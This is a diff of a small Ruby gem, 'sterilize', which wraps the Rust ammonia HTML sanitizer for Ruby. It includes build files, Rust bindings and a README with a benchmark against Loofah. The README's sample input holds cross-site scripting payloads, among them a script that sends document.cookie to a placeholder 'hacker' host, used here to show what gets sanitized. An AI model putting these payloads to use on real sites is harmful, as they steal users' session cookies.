sterilize 0.1.0

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: 52021755327b9ea99dea57be29db96ed3ca38df07409a5877e0effe731119287
+  data.tar.gz: a20113d09ce7afdc71ef8d3dfab061d36961f59278949fa9b917fbf4c2b7aa4a
+SHA512:
+  metadata.gz: 6686096485f43b5ebe074f349d2ee7bc1dd9cb1d1b1d8dee925cdc133bb9828509563b17ce6ddc15e443e1c28b3cf199e865a60906e4a4ac515f48d5d9cdf590
+  data.tar.gz: 3e7081d64fc28c1d03433f0bb8b936a8036080dd23954ca1b5b5ac8c1c8ac108585e8ac0ae96b769c3eb4f515ab2ce994e1d2c3458431b2f9349f22e14d2af17

data/.gitignore

@@ -0,0 +1,20 @@
+/.bundle/
+/.yardoc
+/_yardoc/
+/coverage/
+/doc/
+/pkg/
+/spec/reports/
+/tmp/
+
+# rspec failure tracking
+.rspec_status
+
+
+#Added by cargo
+#
+#already existing elements are commented out
+
+/target
+**/*.rs.bk
+Cargo.lock

data/.rspec

@@ -0,0 +1,3 @@
+--format documentation
+--color
+--require spec_helper

data/.travis.yml

@@ -0,0 +1,7 @@
+---
+sudo: false
+language: ruby
+cache: bundler
+rvm:
+  - 2.6.5
+before_install: gem install bundler -v 2.0.2

data/Cargo.toml

@@ -0,0 +1,15 @@
+[package]
+name = "sterilize"
+version = "0.1.0"
+authors = ["Martin Feckie <mfeckie@gmail.com>"]
+edition = "2018"
+
+# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
+
+[dependencies]
+rutie = "0.7.0"
+ammonia = "3.0.0"
+
+[lib]
+name = "sterilize"
+crate-type = ["dylib"]

data/Gemfile

@@ -0,0 +1,4 @@
+source "https://rubygems.org"
+
+# Specify your gem's dependencies in sterilize.gemspec
+gemspec

data/Gemfile.lock

@@ -0,0 +1,44 @@
+PATH
+  remote: .
+  specs:
+    sterilize (0.1.0)
+      rutie (~> 0.0.3)
+      thermite (~> 0)
+
+GEM
+  remote: https://rubygems.org/
+  specs:
+    diff-lcs (1.3)
+    minitar (0.9)
+    rake (10.4.2)
+    rspec (3.8.0)
+      rspec-core (~> 3.8.0)
+      rspec-expectations (~> 3.8.0)
+      rspec-mocks (~> 3.8.0)
+    rspec-core (3.8.2)
+      rspec-support (~> 3.8.0)
+    rspec-expectations (3.8.4)
+      diff-lcs (>= 1.2.0, < 2.0)
+      rspec-support (~> 3.8.0)
+    rspec-mocks (3.8.1)
+      diff-lcs (>= 1.2.0, < 2.0)
+      rspec-support (~> 3.8.0)
+    rspec-support (3.8.2)
+    rutie (0.0.4)
+    thermite (0.13.0)
+      minitar (~> 0.5)
+      rake (>= 10)
+      tomlrb (~> 1.2)
+    tomlrb (1.2.8)
+
+PLATFORMS
+  ruby
+
+DEPENDENCIES
+  bundler (~> 2.0)
+  rake (~> 10.0)
+  rspec (~> 3.6)
+  sterilize!
+
+BUNDLED WITH
+   2.0.2

data/LICENSE.txt

@@ -0,0 +1,21 @@
+The MIT License (MIT)
+
+Copyright (c) 2019 Martin Feckie
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.

data/README.md

@@ -0,0 +1,83 @@
+# Sterilize
+
+Sterilize is a gem which uses the Rust library [ammonia](https://github.com/rust-ammonia/ammonia) to provide text sanitization
+
+> Ammonia is a whitelist-based HTML sanitization library. It is designed to prevent cross-site scripting, layout breaking, and clickjacking caused by untrusted user-provided HTML being mixed into a larger web page.
+
+## Why not Loofah
+
+Loofah is popular, but can be difficult to deal with in terms of configuration and usage. `Sterilize` aims to be essentially zero configuration and provides a very simple API (one method!). Give it a string and get back a sanitized version.
+
+Take a look at the specs directory to see some of the cases that get handled. They are mostly provided for documentation purposes as the `ammonia` library is extensively [tested](https://github.com/rust-ammonia/ammonia/blob/master/src/lib.rs)
+
+Finally, Sterilize is _fast_.
+
+```ruby
+unsafe_string = "I am nice safe user input, nothing to see here.. <script>console.log('installing bitcoin miner')</script><SCRIPT>var+img=new+Image();img.src='http://hacker/'%20+%20document.cookie;</SCRIPT><img src='http://url.to.file.which/not.exist' onerror=alert(document.cookie);><a href='data:text/html;base64,PHNjcmlwdD5hbGVydCgna25pZ2h0c3RpY2sgd2FzIGhlcmUnKTwvc2NyaXB0Pg=='>HACK HACK HACK</a>" * 10000
+
+Benchmark.bm do | benchmark |
+  benchmark.report("Sterilize") do
+    50.times do
+      Sterilize.perform(unsafe_string)
+    end
+  end
+  benchmark.report("Loofah") do
+    50.times do
+      Loofah.scrub_fragment(unsafe_string, :prune).to_str
+    end
+  end
+end
+```
+
+As you can see, Sterilize can operate significatnly faster. As with all benchmarks though, your mileage may vary and it's important to see how things work in practice for you.
+
+| Library   | user       | system   | total      | real         |
+| --------- | ---------- | -------- | ---------- | ------------ |
+| Sterilize | 74.585432  | 0.250712 | 74.836144  | ( 75.194400) |
+| Loofah    | 110.456900 | 0.619901 | 111.076801 | (111.206092) |
+
+## Installation
+
+In order to use this library you will need to have access to Rust's build tooling [cargo](https://doc.rust-lang.org/cargo/getting-started/installation.html), this simplest way to get this is via [rustup](https://rustup.rs/).
+
+After ensuring you have these things available, add the gem to your bundle
+
+```ruby
+gem 'sterilize'
+```
+
+And then execute:
+
+    $ bundle
+
+Or install it yourself as:
+
+    $ gem install sterilize
+
+`sterilize` includes a Rake take which will compile the Rust library for your platform and copy it to the correct location.
+
+## Usage
+
+`sterilize` provides a single method, `Sterilize.perform` which accepts a string.
+
+```shell
+pry(main)> unsafe_string = "I am nice safe user input, nothing to see here.. <script>console.log('installing bitcoin miner')</script>"
+pry(main)> Sterilize.perform(unsafe_string)
+=> "I am nice safe user input, nothing to see here.. "
+```
+
+Passing anything other than a `String` will result in an error.
+
+## Development
+
+After checking out the repo, run `bin/setup` to install dependencies. Then, run `rake spec` to run the tests. You can also run `bin/console` for an interactive prompt that will allow you to experiment.
+
+To install this gem onto your local machine, run `bundle exec rake install`. To release a new version, update the version number in `version.rb`, and then run `bundle exec rake release`, which will create a git tag for the version, push git commits and tags, and push the `.gem` file to [rubygems.org](https://rubygems.org).
+
+## Contributing
+
+Bug reports and pull requests are welcome on GitHub at https://github.com/[USERNAME]/sterilize. This project is intended to be a safe, welcoming space for collaboration, and contributors are expected to adhere to the [Contributor Covenant](http://contributor-covenant.org) code of conduct.
+
+## License
+
+The gem is available as open source under the terms of the [MIT License](https://opensource.org/licenses/MIT).

data/Rakefile

@@ -0,0 +1,11 @@
+require "bundler/gem_tasks"
+require "rspec/core/rake_task"
+
+RSpec::Core::RakeTask.new(:spec)
+
+require 'thermite/tasks'
+
+Thermite::Tasks.new
+
+desc 'Run Rust & Ruby testsuites'
+task test: ['thermite:build', 'thermite:test', 'spec']

data/bin/console

@@ -0,0 +1,14 @@
+#!/usr/bin/env ruby
+
+require "bundler/setup"
+require "sterilize"
+
+# You can add fixtures and/or initialization code here to make experimenting
+# with your gem easier. You can also use a different console, if you like.
+
+# (If you use this, don't forget to add pry to your Gemfile!)
+# require "pry"
+# Pry.start
+
+require "irb"
+IRB.start(__FILE__)

data/bin/setup

@@ -0,0 +1,8 @@
+#!/usr/bin/env bash
+set -euo pipefail
+IFS=$'\n\t'
+set -vx
+
+bundle install
+
+# Do any other automated setup that you need to do here

data/ext/Rakefile

@@ -0,0 +1,5 @@
+require 'thermite/tasks'
+
+project_dir = File.dirname(File.dirname(__FILE__))
+Thermite::Tasks.new(cargo_project_path: project_dir, ruby_project_path: project_dir)
+task default: %w(thermite:build)

data/lib/sterilize/version.rb

@@ -0,0 +1,3 @@
+module Sterilize
+  VERSION = "0.1.0"
+end

data/lib/sterilize.rb

@@ -0,0 +1,4 @@
+require "sterilize/version"
+require 'rutie'
+
+Rutie.new(:sterilize).init("Init_sterilize", __dir__)

data/src/lib.rs

@@ -0,0 +1,26 @@
+#[macro_use]
+extern crate rutie;
+extern crate ammonia;
+
+use ammonia::clean;
+use rutie::{Module, Object, RString, VM};
+
+module!(Sterilize);
+
+methods!(
+    Sterilize,
+    _itself,
+    fn perform(input: RString) -> RString {
+        let dirty_string = input.map_err(|e| VM::raise_ex(e)).unwrap().to_string();
+        let sterile = clean(&dirty_string);
+        RString::new_utf8(&sterile)
+    }
+);
+
+#[allow(non_snake_case)]
+#[no_mangle]
+pub extern "C" fn Init_sterilize() {
+    Module::new("Sterilize").define(|itself| {
+        itself.def_self("perform", perform);
+    });
+}

data/sterilize.gemspec

@@ -0,0 +1,31 @@
+lib = File.expand_path("lib", __dir__)
+$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
+require "sterilize/version"
+
+Gem::Specification.new do |spec|
+  spec.name          = "sterilize"
+  spec.version       = Sterilize::VERSION
+  spec.authors       = ["Martin Feckie"]
+  spec.email         = ["mfeckie@gmail.com"]
+
+  spec.summary       = %q{A performant Rust based HTML sanitization library}
+  spec.description   = %q{}
+  spec.license       = "MIT"
+  spec.homepage =    "https://www.github.com/mfeckie/sterilize"
+
+
+  # Specify which files should be added to the gem when it is released.
+  # The `git ls-files -z` loads the files in the RubyGem that have been added into git.
+  spec.files         = Dir.chdir(File.expand_path('..', __FILE__)) do
+    `git ls-files -z`.split("\x0").reject { |f| f.match(%r{^(test|spec|features)/}) }
+  end
+  spec.bindir        = "exe"
+  spec.executables   = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }
+  spec.extensions << 'ext/Rakefile'
+  spec.require_paths = ["lib"]
+  spec.add_dependency 'rutie', '~> 0.0.3'
+  spec.add_runtime_dependency 'thermite', '~> 0'
+  spec.add_development_dependency "bundler", "~> 2.0"
+  spec.add_development_dependency "rake", "~> 10.0"
+  spec.add_development_dependency "rspec", "~> 3.6"
+end

metadata

@@ -0,0 +1,130 @@
+--- !ruby/object:Gem::Specification
+name: sterilize
+version: !ruby/object:Gem::Version
+  version: 0.1.0
+platform: ruby
+authors:
+- Martin Feckie
+autorequire: 
+bindir: exe
+cert_chain: []
+date: 2019-10-26 00:00:00.000000000 Z
+dependencies:
+- !ruby/object:Gem::Dependency
+  name: rutie
+  requirement: !ruby/object:Gem::Requirement
+    requirements:
+    - - "~>"
+      - !ruby/object:Gem::Version
+        version: 0.0.3
+  type: :runtime
+  prerelease: false
+  version_requirements: !ruby/object:Gem::Requirement
+    requirements:
+    - - "~>"
+      - !ruby/object:Gem::Version
+        version: 0.0.3
+- !ruby/object:Gem::Dependency
+  name: thermite
+  requirement: !ruby/object:Gem::Requirement
+    requirements:
+    - - "~>"
+      - !ruby/object:Gem::Version
+        version: '0'
+  type: :runtime
+  prerelease: false
+  version_requirements: !ruby/object:Gem::Requirement
+    requirements:
+    - - "~>"
+      - !ruby/object:Gem::Version
+        version: '0'
+- !ruby/object:Gem::Dependency
+  name: bundler
+  requirement: !ruby/object:Gem::Requirement
+    requirements:
+    - - "~>"
+      - !ruby/object:Gem::Version
+        version: '2.0'
+  type: :development
+  prerelease: false
+  version_requirements: !ruby/object:Gem::Requirement
+    requirements:
+    - - "~>"
+      - !ruby/object:Gem::Version
+        version: '2.0'
+- !ruby/object:Gem::Dependency
+  name: rake
+  requirement: !ruby/object:Gem::Requirement
+    requirements:
+    - - "~>"
+      - !ruby/object:Gem::Version
+        version: '10.0'
+  type: :development
+  prerelease: false
+  version_requirements: !ruby/object:Gem::Requirement
+    requirements:
+    - - "~>"
+      - !ruby/object:Gem::Version
+        version: '10.0'
+- !ruby/object:Gem::Dependency
+  name: rspec
+  requirement: !ruby/object:Gem::Requirement
+    requirements:
+    - - "~>"
+      - !ruby/object:Gem::Version
+        version: '3.6'
+  type: :development
+  prerelease: false
+  version_requirements: !ruby/object:Gem::Requirement
+    requirements:
+    - - "~>"
+      - !ruby/object:Gem::Version
+        version: '3.6'
+description: ''
+email:
+- mfeckie@gmail.com
+executables: []
+extensions:
+- ext/Rakefile
+extra_rdoc_files: []
+files:
+- ".gitignore"
+- ".rspec"
+- ".travis.yml"
+- Cargo.toml
+- Gemfile
+- Gemfile.lock
+- LICENSE.txt
+- README.md
+- Rakefile
+- bin/console
+- bin/setup
+- ext/Rakefile
+- lib/sterilize.rb
+- lib/sterilize/version.rb
+- src/lib.rs
+- sterilize.gemspec
+homepage: https://www.github.com/mfeckie/sterilize
+licenses:
+- MIT
+metadata: {}
+post_install_message: 
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.0.3
+signing_key: 
+specification_version: 4
+summary: A performant Rust based HTML sanitization library
+test_files: []